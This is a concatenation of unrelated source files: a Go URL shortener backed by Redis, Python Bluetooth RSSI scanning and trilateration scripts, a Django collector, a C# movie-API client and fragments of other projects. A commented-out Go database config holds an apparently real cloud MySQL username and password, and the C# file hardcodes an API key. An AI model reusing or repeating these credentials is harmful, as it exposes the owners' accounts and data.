fe fe fe fe fd fd fd fd 12 34 56 78") <file_sep>/tests/test_fields.py # -*- coding: utf-8 -*- import pytest from rakpy.protocol import fields def test_byte_field(): field = fields.ByteField() # too low with pytest.raises(OverflowError): field.encode(-128) # min value assert field.encode(-127) == "\x81" assert field.decode("\x81") == -127 # 0 assert field.encode(0) == "\x00" assert field.decode("\x00") == 0 # max value assert field.encode(127) == "\x7f" assert field.decode("\x7f") == 127 # to high with pytest.raises(OverflowError): field.encode(128) def test_unsigned_byte_field(): field = fields.UnsignedByteField() # too low with pytest.raises(OverflowError): field.encode(-1) # 0 (min value) assert field.encode(0) == "\x00" assert field.decode("\x00") == 0 # max value assert field.encode(255) == "\xff" assert field.decode("\xff") == 255 # to high with pytest.raises(OverflowError): field.encode(256) def test_bool_field(): field = fields.BoolField() # False assert field.encode(False) == "\x00" assert field.encode(None) == "\x00" assert field.encode(0) == "\x00" assert field.encode("") == "\x00" assert field.decode("\x00") == False # True assert field.encode(True) == "\x01" assert field.decode("\x01") == True # Anything is true assert field.encode(1) == "\x01" assert field.encode("hey") == "\x01" def test_unsigned_short_field(): field = fields.UnsignedShortField() # too low with pytest.raises(OverflowError): field.encode(-1) # 0 (min value) assert field.encode(0) == "\x00\x00" assert field.decode("\x00\x00") == 0 # max value assert field.encode(65535) == "\xff\xff" assert field.decode("\xff\xff") == 65535 # to high with pytest.raises(OverflowError): field.encode(65536) def test_int_field(): field = fields.IntField() # too low with pytest.raises(OverflowError): field.encode(-2147483648) # min value assert field.encode(-2147483647) == "\x80\x00\x00\x01" assert field.decode("\x80\x00\x00\x01") == -2147483647 # 0 assert field.encode(0) == "\x00\x00\x00\x00" assert field.decode("\x00\x00\x00\x00") == 0 # max value assert field.encode(2147483647) == "\x7f\xff\xff\xff" assert field.decode("\x7f\xff\xff\xff") == 2147483647 # to high with pytest.raises(OverflowError): field.encode(2147483648) def test_long_long_field(): field = fields.LongLongField() # too low with pytest.raises(OverflowError): field.encode(-9223372036854775808) # min value assert field.encode(-9223372036854775807) == "\x80\x00\x00\x00\x00\x00\x00\x01" assert field.decode("\x80\x00\x00\x00\x00\x00\x00\x01") == -9223372036854775807 # 0 assert field.encode(0) == "\x00\x00\x00\x00\x00\x00\x00\x00" assert field.decode("\x00\x00\x00\x00\x00\x00\x00\x00") == 0 # max value assert field.encode(9223372036854775807) == "\x7f\xff\xff\xff\xff\xff\xff\xff" assert field.decode("\x7f\xff\xff\xff\xff\xff\xff\xff") == 9223372036854775807 # too high with pytest.raises(OverflowError): field.encode(9223372036854775808) def test_string_field(): field = fields.StringField() # str assert field.encode("Hello !") == "\x00\x07Hello !" assert field.decode("\x00\x07Hello !") == "Hello !" # very long str long_str = ( "wojfewjfwpejfjewofjwjfowefojwjfoewjofijewofjewojfeowjfowjfowejoifjewojfweoioifjowjowfjwjiwojoifjowfe" "fwjfweofhoiehwefoiegfurewgkwjenvoerbvoubreuwbverubwvuirbewuvibeiruwbvuierwbviuerbvubeuvibuebwviuruwe" "wojfewjfwpejfjewofjwjfowefojwjfoewjofijewofjewojfeowjfowjfowejoifjewojfweoioifjowjowfjwjiwojoifjowfe" "fwjfweofhoiehwefoiegfurewgkwjenvoerbvoubreuwbverubwvuirbewuvibeiruwbvuierwbviuerbvubeuvibuebwviuruwe" ) encoded = field.encode(long_str) assert encoded[:2] == "\x01\x90" assert encoded[2:] == long_str assert field.decode("\x01\x90" + long_str) == long_str # unicode assert field.encode(u"ボールト") == "\x00\x0c\xe3\x83\x9c\xe3\x83\xbc\xe3\x83\xab\xe3\x83\x88" assert field.decode("\x00\x0c\xe3\x83\x9c\xe3\x83\xbc\xe3\x83\xab\xe3\x83\x88") == u"ボールト" def test_float_field(): field = fields.FloatField() # too low with pytest.raises(OverflowError): field.encode(-4 * pow(10, 38)) # some very low value low_value = -3.2345678 * pow(10, 38) assert field.encode(low_value) == "\xff\x73\x57\x83" assert abs(field.decode("\xff\x73\x57\x83") - low_value) < abs(low_value * pow(10, -7)) # still some negative value assert field.encode(-300) == "\xc3\x96\x00\x00" assert field.decode("\xc3\x96\x00\x00") == -300 # 0 assert field.encode(0) == "\x00\x00\x00\x00" assert field.decode("\x00\x00\x00\x00") == 0 # some positive value assert field.encode(300) == "\x43\x96\x00\x00" assert field.decode("\x43\x96\x00\x00") == 300 # some very high value high_value = 3.2345678 * pow(10, 38) assert field.encode(high_value) == "\x7f\x73\x57\x83" assert abs(field.decode("\x7f\x73\x57\x83") - high_value) < abs(high_value * pow(10, -7)) def test_double_field(): field = fields.DoubleField() # too low with pytest.raises(OverflowError): field.encode(-4 * pow(10, 400)) # some very low value low_value = -3.2345678 * pow(10, 64) assert field.encode(low_value) == "\xcd\x53\xa8\x30\xf3\x15\x89\x61" assert abs(field.decode("\xcd\x53\xa8\x30\xf3\x15\x89\x61") - low_value) < abs(low_value * pow(10, -8)) # still some negative value assert field.encode(-300) == "\xc0\x72\xc0\x00\x00\x00\x00\x00" assert field.decode("\xc0\x72\xc0\x00\x00\x00\x00\x00") == -300 # 0 assert field.encode(0) == "\x00\x00\x00\x00\x00\x00\x00\x00" assert field.decode("\x00\x00\x00\x00\x00\x00\x00\x00") == 0 # some positive value assert field.encode(300) == "\x40\x72\xc0\x00\x00\x00\x00\x00" assert field.decode("\x40\x72\xc0\x00\x00\x00\x00\x00") == 300 # some very high value high_value = 3.2345678 * pow(10, 64) assert field.encode(high_value) == "\x4d\x53\xa8\x30\xf3\x15\x89\x61" assert abs(field.decode("\x4d\x53\xa8\x30\xf3\x15\x89\x61") - high_value) < abs(high_value * pow(10, -8)) <file_sep>/rakpy/protocol/exceptions.py # -*- coding: utf-8 -*- class UnknownPacketException(Exception): pass class RemainingDataException(Exception): pass
8926cf4bd133ba70be227a60255a73eb6a2c6f26
[ "Python" ]
5
Python
gitter-badger/rakpy
5778e62f1ca711d0e190905a4c9feef803b37b69
d21a91b04d8c6ffd5bb1540d34d00c3950e8cdd7
refs/heads/main
<file_sep>package application import ( "context" "fmt" "github.com/go-redis/redis/v8" "log" "strconv" "time" "urlserver/infrastructure" ) var urlPage = "http://www.zidu.top/go/%s" var incrementKey = "url:id:increment:" var ctx = context.Background() var rdb = redis.NewClient(&redis.Options{ Addr: "redis:6379", Password: "<PASSWORD>", // no password set DB: 2, // use default DB }) // 短链接路径转长链接 func ShortToLong(short string) string { // 64进制转10进制 //var url string //dec := infrastructure.B64ToDec(short) urlKey := fmt.Sprintf("url:short:%s", short) val, err := rdb.Get(ctx, urlKey).Result() if err != nil { log.Printf("查询失败: %s", err.Error()) return "" } fmt.Println("key", val) return val } // 长链接转短链接 func LongToShort(long string, t int64) string { lKey := fmt.Sprintf("url:long:%s", long) val, _ := rdb.Get(ctx, lKey).Result() if val != "" { return val } incr := rdb.Incr(ctx, incrementKey) // 十进制转64进制 strInt64 := strconv.FormatInt(incr.Val(), 10) id16, _ := strconv.Atoi(strInt64) b64 := infrastructure.DecToB64(id16) lUrl := fmt.Sprintf(urlPage, b64) rdb.Set(ctx, fmt.Sprintf("url:short:%s", b64), long, time.Duration(t)) rdb.Set(ctx, fmt.Sprintf("url:long:%s", long), lUrl, time.Duration(t)) // 组合短链接域名返回 return lUrl } <file_sep>### 说明 go+gin+redis短链接生成 ### 编译 ``` set GO111MODULE=on go env -w GOPROXY=https://goproxy.cn,direct go mod tidy go mod vendor SET GOARCH=amd64 SET GOOS=linux go build ./ ``` ### key生成参考 [https://zhuanlan.zhihu.com/p/59168096](https://zhuanlan.zhihu.com/p/59168096) ### Dockerfile ``` FROM busybox:stable-glibc RUN mkdir /app WORKDIR /app COPY main /app # COPY conf.yaml /app ENTRYPOINT ["./main"] ``` ### 部署 ``` docker rm -f urlserver docker rmi ysy/urlserver rm -f main mv urlserver main chmod +x main docker build -t ysy/urlserver:latest . docker run -it \ -v /etc/localtime:/etc/localtime \ --net nets \ --name=urlserver \ --restart=unless-stopped \ -p 8811:8811 \ ysy/urlserver:latest; ``` <file_sep>module urlserver go 1.16 require ( github.com/gin-gonic/gin v1.7.1 github.com/go-redis/redis/v8 v8.8.2 ) <file_sep>package main import ( "github.com/gin-gonic/gin" "net/http" "urlserver/application" ) // 处理跨域请求,支持options访问 func Cors() gin.HandlerFunc { return func(c *gin.Context) { method := c.Request.Method c.Header("Access-Control-Allow-Origin", "*") c.Header("Access-Control-Allow-Headers", "Content-Type,AccessToken,X-CSRF-Token, Authorization, Token") c.Header("Access-Control-Allow-Methods", "POST, GET, OPTIONS") c.Header("Access-Control-Expose-Headers", "Content-Length, Access-Control-Allow-Origin, Access-Control-Allow-Headers, Content-Type") c.Header("Access-Control-Allow-Credentials", "true") //放行所有OPTIONS方法 if method == "OPTIONS" { c.AbortWithStatus(http.StatusNoContent) } // 处理请求 c.Next() } } type urlReq struct { Url string `json:"url" binding:"required"` Time int64 `json:"time" binding:"required"` } func main() { r := gin.Default() r.Use(Cors()) r.GET("/ping", func(c *gin.Context) { c.JSON(200, gin.H{ "message": "pong", }) }) r.POST("/url/toS", func(context *gin.Context) { var pram urlReq context.ShouldBindJSON(&pram) if pram.Url == "" { context.JSON(500, gin.H{ "url": nil, "error": "参数url为空", }) return } shortUrl := application.LongToShort(pram.Url, pram.Time) context.JSON(200, gin.H{ "url": shortUrl, }) }) r.GET("/go/:id", func(context *gin.Context) { id := context.Param("id") lUrl := application.ShortToLong(id) context.Redirect(http.StatusMovedPermanently, lUrl) }) r.Run(":8811") } <file_sep>package repository // //import ( // "gorm.io/driver/mysql" // "gorm.io/gorm" // "gorm.io/gorm/logger" // "log" // "os" // "time" //) // //func init() { // con() //} // //var db *gorm.DB //var err error // //func DB() *gorm.DB { // s, err2 := db.DB() // if err2 == nil { // return db // } // if err2 = s.Ping(); err2 == nil { // return db // } // con() // return db //} // //func con() { // newLogger := logger.New( // log.New(os.Stdout, "\r\n", log.LstdFlags), // io writer // logger.Config{ // SlowThreshold: time.Second, // 慢 SQL 阈值 // LogLevel: logger.Silent, // Log level // Colorful: false, // 禁用彩色打印 // }, // ) // //dbc, err = gorm.Open(mysql.Open("staff_yangshiyou:Y7Xx@DcsZqyVR%MiXk=9nFzELrho%7@(rm-bp1uk2jq84jpy9d85.mysql.rds.aliyuncs.com:3306)/shophelpertest"), &gorm.Config{ // // Logger: newLogger, // //}) // dsn := "root:123456@(172.16.0.52:3306)/hellogo?charset=utf8&parseTime=True&loc=Local" // DSN data source name // db, err = gorm.Open(mysql.New(mysql.Config{ // DSN: dsn, // DefaultStringSize: 256, // string 类型字段的默认长度 // DisableDatetimePrecision: true, // 禁用 datetime 精度,MySQL 5.6 之前的数据库不支持 // DontSupportRenameIndex: true, // 重命名索引时采用删除并新建的方式,MySQL 5.7 之前的数据库和 MariaDB 不支持重命名索引 // DontSupportRenameColumn: true, // 用 `change` 重命名列,MySQL 8 之前的数据库和 MariaDB 不支持重命名列 // SkipInitializeWithVersion: false, // 根据当前 MySQL 版本自动配置 // }), &gorm.Config{Logger: newLogger}) // if err != nil { // panic(err) // } // s, _ := db.DB() // // SetMaxIdleConns 用于设置连接池中空闲连接的最大数量。 // s.SetMaxIdleConns(10) // // SetMaxOpenConns 设置打开数据库连接的最大数量。 // s.SetMaxOpenConns(100) // // SetConnMaxLifetime 设置了连接可复用的最大时间。 // s.SetConnMaxLifetime(time.Hour) //} <file_sep>package infrastructure import "math" var decToB64Map = map[int]string{0: "A", 1: "B", 2: "C", 3: "D", 4: "E", 5: "F", 6: "G", 7: "H", 8: "I", 9: "J", 10: "K", 11: "L", 12: "M", 13: "N", 14: "O", 15: "P", 16: "Q", 17: "R", 18: "S", 19: "T", 20: "U", 21: "V", 22: "W", 23: "X", 24: "Y", 25: "Z", 26: "a", 27: "b", 28: "c", 29: "d", 30: "e", 31: "f", 32: "g", 33: "h", 34: "i", 35: "j", 36: "k", 37: "l", 38: "m", 39: "n", 40: "o", 41: "p", 42: "q", 43: "r", 44: "s", 45: "t", 46: "u", 47: "v", 48: "w", 49: "x", 50: "y", 51: "z", 52: "0", 53: "1", 54: "2", 55: "3", 56: "4", 57: "5", 58: "6", 59: "7", 60: "8", 61: "9", 62: "+", 63: "/"} // 64进制转10进制 func B64ToDec(b64 string) int { b64ToDecMap := mapKeyValueChange(decToB64Map) dec := 0 b64Length := len(b64) for i := 0; i < b64Length; i++ { dec = dec + b64ToDecMap[string(b64[i])]*int(math.Pow(64, float64(b64Length-i-1))) } return dec } // 十进制转64进制 func DecToB64(dec int) string { b64 := "" for dec != 0 { b64 = decToB64Map[dec%64] + b64 dec = dec / 64 } return b64 } // map结构键值互换 func mapKeyValueChange(data map[int]string) map[string]int { newData := make(map[string]int) for k, v := range data { newData[v] = k } return newData }
98e8ea1e0b4c6996fc70a218be64b8e530e393b5
[ "Markdown", "Go Module", "Go" ]
6
Go
imayou/urlserver
9721921234d58f26a7d8b3b0199b9304f7fe949b
6d0644fe172f40284d0ab165e8009adde5bb3570
refs/heads/master
<file_sep>import math #Polozenie routerow P1 = [0, 25] P2 = [45, 25] P3 = [45, 0] #Odleglosc telefonu od routera r1 = 0.6 r2 = 38 r3 = 21 #1 exx = (P2[0] - P1[0]) / (math.sqrt(((P2[0]-P1[0])**2)+((P2[1]-P1[1])**2))) exy = (P2[1] - P1[1]) / (math.sqrt(((P2[0]-P1[0])**2)+((P2[1]-P1[1])**2))) #2 ix = exx*(P3[0]-P1[0]) #ix = 20 iy = exy*(P3[1]-P1[1]) #iy = 0 i = ix + iy #3 eyx = (P3[0]-P1[0] - (ix * exx)) / (math.sqrt(((P3[0]-P1[0]-(ix*exx))**2)+((P3[1]-P1[1]-(iy*exy))**2))) eyy = (P3[1]-P1[1] - (iy * exy)) / (math.sqrt(((P3[0]-P1[0]-(ix*exx))**2)+((P3[1]-P1[1]-(iy*exy))**2))) #4 d = math.sqrt( ((P2[0]-P1[0])**2) + ((P2[1]-P1[1])**2) ) #5 jx = eyx * (P3[0] - P1[0]) jy = eyy * (P3[1] - P1[1]) j = jx + jy #6 x = (r1**2 - r2**2 + d**2) / (2*d) #7 y = ((((r1**2) - (r3**2) + (i**2) + (j**2)) / (2*j)) - ((i*x)/j)) #8 z wikipedii X = P1[0] + x*exx + y*eyx Y = P1[1] + x*eyx + y*eyy print "X: " + str(X) print "Y: " + str(Y) <file_sep># -*- coding: utf-8 -*- # Generated by Django 1.9.5 on 2016-05-17 18:08 from __future__ import unicode_literals from django.db import migrations class Migration(migrations.Migration): dependencies = [ ('DjangoApp', '0003_data_distance'), ] operations = [ migrations.RenameField( model_name='data', old_name='FREQ', new_name='MAC', ), migrations.RenameField( model_name='data', old_name='SSID', new_name='NAME', ), migrations.RenameField( model_name='data', old_name='POWER', new_name='RSSI', ), migrations.RenameField( model_name='users', old_name='MAC', new_name='COMPUTER', ), migrations.RemoveField( model_name='data', name='DISTANCE', ), ] <file_sep># -*- coding: utf-8 -*- # Generated by Django 1.9.5 on 2016-04-24 16:49 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Routers', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('SSID', models.TextField()), ('USER_MAC', models.TextField()), ('FREQ', models.BigIntegerField()), ('POWER', models.BigIntegerField()), ], ), ] <file_sep># -*- coding: utf-8 -*- # Generated by Django 1.9.5 on 2016-04-24 17:00 from __future__ import unicode_literals from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): dependencies = [ ('DjangoApp', '0001_initial'), ] operations = [ migrations.CreateModel( name='Data', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('SSID', models.TextField()), ('FREQ', models.BigIntegerField()), ('POWER', models.BigIntegerField()), ], ), migrations.CreateModel( name='Users', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('MAC', models.TextField()), ], ), migrations.DeleteModel( name='Routers', ), migrations.AddField( model_name='data', name='USER_ID', field=models.ForeignKey(on_delete=django.db.models.deletion.CASCADE, to='DjangoApp.Users'), ), ] <file_sep>from __future__ import unicode_literals from django.db import models # Create your models here. class Data(models.Model): USER_ID = models.ForeignKey("Users") NAME = models.TextField() MAC = models.TextField() RSSI = models.BigIntegerField() class Users(models.Model): COMPUTER = models.TextField() <file_sep># -*- coding: utf-8 -*- # Generated by Django 1.9.5 on 2016-04-24 18:33 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('DjangoApp', '0002_auto_20160424_1700'), ] operations = [ migrations.AddField( model_name='data', name='DISTANCE', field=models.FloatField(default=0), preserve_default=False, ), ] <file_sep>import os import sys import struct import bluetooth._bluetooth as bluez import bluetooth import json import time import requests from datetime import datetime ComputerName = "Kamil" def search(): devices = bluetooth.discover_devices(duration=3, lookup_names=True) count = 0 for device in devices: count += 1 return devices, count def nameToMac(mac): if (findedPhones != None): for addr, name in findedPhones: if mac == addr: return name def toJASON(devices): JSONarray = [ComputerName, devices] return json.dumps(JSONarray) def sendRequest(devices): try: requests.put('http://192.168.1.1:8000/set_data', toJASON(devices)) except: pass def printpacket(pkt): for c in pkt: sys.stdout.write("%02x " % struct.unpack("B",c)[0]) print() def read_inquiry_mode(sock): """returns the current mode, or -1 on failure""" # save current filter old_filter = sock.getsockopt( bluez.SOL_HCI, bluez.HCI_FILTER, 14) # Setup socket filter to receive only events related to the # read_inquiry_mode command flt = bluez.hci_filter_new() opcode = bluez.cmd_opcode_pack(bluez.OGF_HOST_CTL, bluez.OCF_READ_INQUIRY_MODE) bluez.hci_filter_set_ptype(flt, bluez.HCI_EVENT_PKT) bluez.hci_filter_set_event(flt, bluez.EVT_CMD_COMPLETE); bluez.hci_filter_set_opcode(flt, opcode) sock.setsockopt( bluez.SOL_HCI, bluez.HCI_FILTER, flt ) # first read the current inquiry mode. bluez.hci_send_cmd(sock, bluez.OGF_HOST_CTL, bluez.OCF_READ_INQUIRY_MODE ) pkt = sock.recv(255) status,mode = struct.unpack("xxxxxxBB", pkt) if status != 0: mode = -1 # restore old filter sock.setsockopt( bluez.SOL_HCI, bluez.HCI_FILTER, old_filter ) return mode def write_inquiry_mode(sock, mode): """returns 0 on success, -1 on failure""" # save current filter old_filter = sock.getsockopt( bluez.SOL_HCI, bluez.HCI_FILTER, 14) # Setup socket filter to receive only events related to the # write_inquiry_mode command flt = bluez.hci_filter_new() opcode = bluez.cmd_opcode_pack(bluez.OGF_HOST_CTL, bluez.OCF_WRITE_INQUIRY_MODE) bluez.hci_filter_set_ptype(flt, bluez.HCI_EVENT_PKT) bluez.hci_filter_set_event(flt, bluez.EVT_CMD_COMPLETE); bluez.hci_filter_set_opcode(flt, opcode) sock.setsockopt( bluez.SOL_HCI, bluez.HCI_FILTER, flt ) # send the command! bluez.hci_send_cmd(sock, bluez.OGF_HOST_CTL, bluez.OCF_WRITE_INQUIRY_MODE, struct.pack("B", mode) ) pkt = sock.recv(255) status = struct.unpack("xxxxxxB", pkt)[0] # restore old filter sock.setsockopt( bluez.SOL_HCI, bluez.HCI_FILTER, old_filter ) if status != 0: return -1 return 0 def device_inquiry_with_with_rssi(sock): # save current filter old_filter = sock.getsockopt( bluez.SOL_HCI, bluez.HCI_FILTER, 14) # perform a device inquiry on bluetooth device #0 # The inquiry should last 8 * 1.28 = 10.24 seconds # before the inquiry is performed, bluez should flush its cache of # previously discovered devices flt = bluez.hci_filter_new() bluez.hci_filter_all_events(flt) bluez.hci_filter_set_ptype(flt, bluez.HCI_EVENT_PKT) sock.setsockopt( bluez.SOL_HCI, bluez.HCI_FILTER, flt ) duration = 4 max_responses = 255 cmd_pkt = struct.pack("BBBBB", 0x33, 0x8b, 0x9e, duration, max_responses) bluez.hci_send_cmd(sock, bluez.OGF_LINK_CTL, bluez.OCF_INQUIRY, cmd_pkt) results = [] done = False while not done: pkt = sock.recv(255) ptype, event, plen = struct.unpack("BBB", pkt[:3]) if event == bluez.EVT_INQUIRY_RESULT_WITH_RSSI: pkt = pkt[3:] nrsp = bluetooth.get_byte(pkt[0]) for i in range(nrsp): addr = bluez.ba2str( pkt[1+6*i:1+6*i+6] ) rssi = bluetooth.byte_to_signed_int( bluetooth.get_byte(pkt[1+13*nrsp+i])) name = nameToMac(addr) #check if finded is on device findedPhones list for dev in findedPhones: if dev[1] == name: onList = False for res in results: if res['NAME'] == name: onList = True if onList == False: data = {} data['NAME'] = name data['MAC'] = addr data['RSSI'] = rssi results.append( data ) else: pass if len(results) == searched[1]: done = True #print("[%s] RSSI: [%d]" % (addr, rssi)) elif event == bluez.EVT_INQUIRY_COMPLETE: done = True else: pass """ elif event == bluez.EVT_CMD_STATUS: status, ncmd, opcode = struct.unpack("BBH", pkt[3:7]) if status != 0: print("uh oh...") printpacket(pkt[3:7]) done = True elif event == bluez.EVT_INQUIRY_RESULT: pkt = pkt[3:] nrsp = bluetooth.get_byte(pkt[0]) for i in range(nrsp): addr = bluez.ba2str( pkt[1+6*i:1+6*i+6] ) results.append( ( addr, -1 ) ) print("[%s] (no RRSI)" % addr) else: print("unrecognized packet type 0x%02x" % ptype) print("event ", event) """ # restore old filter sock.setsockopt( bluez.SOL_HCI, bluez.HCI_FILTER, old_filter ) return results dev_id = 0 try: sock = bluez.hci_open_dev(dev_id) except: print("error accessing bluetooth device...") sys.exit(1) try: mode = read_inquiry_mode(sock) except Exception as e: print("error reading inquiry mode. ") print("Are you sure this a bluetooth 1.2 device?") print(e) sys.exit(1) print("current inquiry mode is %d" % mode) if mode != 1: print("writing inquiry mode...") try: result = write_inquiry_mode(sock, 1) except Exception as e: print("error writing inquiry mode. Are you sure you're root?") print(e) sys.exit(1) if result != 0: print("error while setting inquiry mode") print("result: %d" % result) while 1: searched = search() findedPhones = searched[0] if len(findedPhones) != 0: devices = device_inquiry_with_with_rssi(sock) print "Devices: " print devices sendRequest(devices) print "Wyslano" else: print "Nic nie znaleziono" time.sleep(1) #print findedPhones <file_sep>defined_routers = ["NETGEAR", "dd-wrt", "NETIASPOT-DBC290"] defined_coordinates = [(0, 25), (45, 25), (45,0)]<file_sep>import json from math import log10, fabs, sqrt import systemSettings from django.shortcuts import render from django.http import HttpResponse # Create your views here. from DjangoApp import models from django.core import serializers from collections import defaultdict from numpy import median """ distance = 10 ^ ((27.55 - (20 * log10(frequency)) + signalLevel)/20) For \ d,f in meters and kilohertz, respectively, the constant becomes \ -87.55 . For \ d,f in meters and megahertz, respectively, the constant becomes \ -27.55 . For \ d,f in kilometers and megahertz, respectively, the constant becomes \ 32.45 . """ NETIA = 20*log10(1) + 20*log10(2472) DDWRT = 20*log10(1) + 20*log10(2437) NETGAR = 20*log10(1) + 20*log10(2462) def index(request): return render(request, 'index.html', {}) def set_data(request): received_json_data = json.loads(request.body) finded_routers = [] finded_phones = received_json_data[1] for phone in finded_phones: print phone['NAME'] #if router["SSID"] in systemSettings.defined_routers: #finded_routers.append(router) #print finded_phones user = None try: user = models.Users.objects.get(COMPUTER=received_json_data[0]) phones_for_user = models.Data.objects.filter(USER_ID=user.id) phones_for_user.delete() except: user = models.Users(COMPUTER=received_json_data[0]) user.save() for phone in finded_phones: distance = None phones_for_user = models.Data(NAME=phone["NAME"], MAC=phone["MAC"], RSSI=phone["RSSI"], USER_ID=user) phones_for_user.save() return HttpResponse(status=200) def get_data(request): users = models.Users.objects.all() data = {} dataWithMedian = {} for user in users: routers = models.Data.objects.filter(USER_ID=user) data[user.MAC] = serializers.serialize('json', routers) medians = defaultdict(list) for device in systemSettings.defined_routers: for router in routers: if router.SSID == device: medians[device].append(router.DISTANCE) print str(device) + ": " + str(medians[device]) print str(device) + ": " + str(median(medians[device])) dataWithMedian[device] = median(medians[device]) data[user.MAC] = dataWithMedian print systemSettings.defined_coordinates[0][1] #Obliczanie odleglosci #Polozenie routerow P1 = systemSettings.defined_coordinates[0] P2 = systemSettings.defined_coordinates[1] P3 = systemSettings.defined_coordinates[2] #Odleglosc telefonu od routera r1 = dataWithMedian["NETGEAR"]*10 r2 = dataWithMedian["dd-wrt"]*10 r3 = dataWithMedian["NETIASPOT-DBC290"]*10 # if r1 + r2 < 45: # x = (45 - (r1+r2)) / 2 # r1 += x # r2 += x # if r1 + r3 < 51.4: # x = (51.4 - (r1+r3)) / 2 # r1 += x # r3 += x # if r2 + r3 < 25: # x = (25 - (r2+r3)) / 2 # r2 += x # r3 += x #1 exx = (P2[0] - P1[0]) / (sqrt(((P2[0]-P1[0])**2)+((P2[1]-P1[1])**2))) exy = (P2[1] - P1[1]) / (sqrt(((P2[0]-P1[0])**2)+((P2[1]-P1[1])**2))) #2 ix = exx*(P3[0]-P1[0]) #ix = 20 iy = exy*(P3[1]-P1[1]) #iy = 0 i = ix + iy #3 eyx = (P3[0]-P1[0] - (ix * exx)) / (sqrt(((P3[0]-P1[0]-(ix*exx))**2)+((P3[1]-P1[1]-(iy*exy))**2))) eyy = (P3[1]-P1[1] - (iy * exy)) / (sqrt(((P3[0]-P1[0]-(ix*exx))**2)+((P3[1]-P1[1]-(iy*exy))**2))) #4 d = sqrt( ((P2[0]-P1[0])**2) + ((P2[1]-P1[1])**2) ) #5 jx = eyx * (P3[0] - P1[0]) jy = eyy * (P3[1] - P1[1]) j = jx + jy #6 x = (r1**2 - r2**2 + d**2) / (2*d) #7 y = ((((r1**2) - (r3**2) + (i**2) + (j**2)) / (2*j)) - ((i*x)/j)) #8 z wikipedii X = P1[0] + x*exx + y*eyx Y = P1[1] + x*eyx + y*eyy print "X: " + str(X) print "Y: " + str(Y) json_data = json.dumps(data) return HttpResponse(json_data)
018e6e4cb8158648930fc3241548ac032906f6ef
[ "Python" ]
9
Python
Kamillpg/ZIwGProjects
1a7eff2f4f48496d3198bc9642f2c39fba42b609
ed1cd4ed11a0e1f9a496c410475290f3e0d38883
refs/heads/master
<repo_name>dilan-patel/MovieApp<file_sep>/Movie_Application/Movie_App_Core/Program.cs using System; using System.Collections.Generic; using System.IO; using System.Linq; using System.Net.Http; using System.Net.Http.Headers; using System.Threading.Tasks; namespace Movie_App_Core { class Program { static void Main(string[] args) { ApiHelper api = new ApiHelper(); ApiHelper.InitializeClient(); } } public class ApiHelper { public static HttpClient ApiClient { get; set; } public static void InitializeClient() { string apiKey = "992e374dada31303848541de5512431a"; string test = ($"https://api.themoviedb.org/3/movie/76341?api_key={apiKey}"); ApiClient = new HttpClient(); ApiClient.BaseAddress = new Uri($"https://api.themoviedb.org/3/movie/76341?api_key={apiKey}"); ApiClient.DefaultRequestHeaders.Accept.Clear(); ApiClient.DefaultRequestHeaders.Accept.Add(new MediaTypeWithQualityHeaderValue("aplication/json")); Console.WriteLine(test); } } public class Genre { public int id { get; set; } public string name { get; set; } } public class ProductionCompany { public int id { get; set; } public string logo_path { get; set; } public string name { get; set; } public string origin_country { get; set; } } public class ProductionCountry { public string iso_3166_1 { get; set; } public string name { get; set; } } public class SpokenLanguage { public string iso_639_1 { get; set; } public string name { get; set; } } public class RootObject { public bool adult { get; set; } public string backdrop_path { get; set; } public object belongs_to_collection { get; set; } public int budget { get; set; } public List<Genre> genres { get; set; } public string homepage { get; set; } public int id { get; set; } public string imdb_id { get; set; } public string original_language { get; set; } public string original_title { get; set; } public string overview { get; set; } public double popularity { get; set; } public string poster_path { get; set; } public List<ProductionCompany> production_companies { get; set; } public List<ProductionCountry> production_countries { get; set; } public string release_date { get; set; } public int revenue { get; set; } public int runtime { get; set; } public List<SpokenLanguage> spoken_languages { get; set; } public string status { get; set; } public string tagline { get; set; } public string title { get; set; } public bool video { get; set; } public double vote_average { get; set; } public int vote_count { get; set; } } } <file_sep>/README.md # MovieApp A small movie application which uses a Movie Database API to display information of different movies.
b7886d998fea54470d9caed10e5a8ad062827754
[ "Markdown", "C#" ]
2
C#
dilan-patel/MovieApp
6043f76cecf8deaa87888ca0e163d6f5527f1b93
b34ce54810d0da092f4ccb12ef3407cc19cf088a
refs/heads/master
<repo_name>kongpengcheng/SerialPortDemo<file_sep>/app/src/main/java/com/example/shen/serialportdemo/activity/MainActivity.java package com.example.shen.serialportdemo.activity; import android.app.Activity; import android.graphics.drawable.BitmapDrawable; import android.os.Bundle; import android.util.Log; import android.view.LayoutInflater; import android.view.View; import android.view.WindowManager; import android.widget.AdapterView; import android.widget.CompoundButton; import android.widget.EditText; import android.widget.ListView; import android.widget.PopupWindow; import android.widget.RadioButton; import android.widget.RelativeLayout; import android.widget.TextView; import android.widget.Toast; import android.widget.ToggleButton; import com.example.shen.serialportdemo.R; import com.example.shen.serialportdemo.adapter.ListViewAdapter; import com.example.shen.serialportdemo.common.SerialHelper; import com.example.shen.serialportdemo.android_serialport_api.SerialPortFinder; import com.example.shen.serialportdemo.bean.ComBean; import java.io.IOException; import java.security.InvalidParameterException; import java.util.ArrayList; public class MainActivity extends Activity { private SerialControl serialControl; private SerialPortFinder mSerialPortFinder; private TextView tvSerialPort, tvBaudRate; private EditText etContent; private RadioButton rbHex, rbTxt; private PopupWindow popupWindow = null; private ArrayList<String> allDevices, allBaudRate, alString; private ListViewAdapter adapter; private boolean isSerialPort = true,flag=false; private View contentView; private ListView listView; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); //启动时隐藏软键盘 getWindow().setSoftInputMode(WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_HIDDEN); initView(); } private void initView() { rbHex = (RadioButton) findViewById(R.id.rb_hex); rbTxt = (RadioButton) findViewById(R.id.rb_txt); tvSerialPort = (TextView) findViewById(R.id.tv_serial_port); tvBaudRate = (TextView) findViewById(R.id.tv_baud_rate); etContent = (EditText) findViewById(R.id.et_content); mSerialPortFinder = new SerialPortFinder(); allDevices = new ArrayList<String>(); allBaudRate = new 